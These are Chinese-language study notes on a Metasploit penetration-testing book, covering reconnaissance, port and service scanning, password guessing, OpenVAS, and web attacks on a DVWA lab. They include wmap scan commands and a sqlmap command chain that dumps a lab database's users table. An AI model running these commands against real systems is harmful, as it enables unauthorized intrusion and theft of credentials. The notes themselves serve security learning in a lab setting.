Metasploit渗透测试魔鬼训练营
诸葛建伟 陈力波 孙松柏 等著
1. 基础知识
1.1 Metasploit使用接口:msfgui, msfconsole, msfcli。(最新kali2018只含有msfconsole)
2. 渗透测试实验环境
深入理解
3. 情报搜集技术
3.1 注册信息查询
- whois:查询域名注册信息数据库
- nslookup:从DNS解析服务器保存在缓存中的非权威解答
- dig:从域名官方DNS服务器上查询到精确的权威解答
3.2 Google Hacking(感觉没有什么效果)
常用指令:site, inurl, filetype
3.3 端口扫描
- metasploit:auxiliary/scanner/discovery or portscan
- nmap:分为4种状态open/closed/filtered/unfiltered
3.4 常见网络服务扫描
- telnet(用于价格昂贵的老实服务器):auxiliary/scanner/telnet/telnet_version
- ssh:scanner/ssh/ssh_version
- oracle数据库服务:scanner/oracle/tnslsnr_version
- 开放代理:scanner/http/open_proxy
3.5 口令探测与嗅探
- ssh口令猜测:取决于字典的质量
- psnuffle:只能嗅探同一网络环境下的,外网无法嗅探内网的登录
3.6 网络漏洞扫描
openvas:一款开元综合型漏洞扫描器,用于识别远程主机、web应用存在的漏洞。在metasploit里可以载入openvas插件。此外,可以通过nmap找寻特定服务漏洞。 admin/123456
3.7 渗透测试数据库共享
使用postgresql或者metasploit RPC共享。
metasploit第一次使用时postgresql是没有连接的,如下命令实现新建:msfdb init
。metasploit装载openvas模块时需要连接数据库:openvas_connect username password IP port
问题:metasploit使用openvas模块会有warning,运行如
openvas_report_list
等指令。暂时没有找到解决方法。
4. Web应用渗透技术
4.1 流行攻击方式
- SQL注入攻击
- 普通注入
- 盲注
- 跨站脚本攻击 Cross Site Scripting
- 存储型XSS:持久存储在目标服务器数据库或文件中
- 反射性XSS:注入脚本从攻击者服务器下载文件到受害者浏览器上
- DOM型XSS:通过URL建立DOM对象
- 跨站伪造请求 Cross Site Request Forgery
4.2 基于Metasploit框架的web应用渗透技术
4.2.1 辅助模块: moudles/auxiliary/路径下
1
2
3
4
5
6
7
8
//通过wmap可以得到指定服务器的扫描结果和可利用的漏洞
load wmap
wmap_sites -a 10.10.10.254
wmap_sites -l
wmap_targets -t 10.10.10.254
wmap_run -t
wmap_run -e
vulns
4.2.2 渗透模块
主要路径在exploit/unix/webapp, exploit/windows/http, exploit/multi/http
其他的web应用漏洞扫描工具:W3AF, SQLMap, wXf, XSSF, BeEF
4.3 开源Web应用漏洞扫描工具
- Wapiti: 对SQL注入扫描准确度排第一
- W3AF: 功能强大,配置繁琐。Kali2018安装w3af失败,python报错,未解决
- w3af分为两个部分:核心模块和插件模块
- Sandcat Free Edition: 对XSS检测效率最好
- Brup suite Free: 渗透利器,功能强大
4.4 安装wXf ruby报错,未解决
4.5 使用owasp/dvwa进行试验
4.5.1 sql注入:
sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low;PHPSESSID=on3qqvc40chq38nlhh6e4bghj1'
--dbs -v 0
-D dvwa --tables
-D dvwa --tables -T users --columns
-D dvwa --tables -T users --columns --dump
#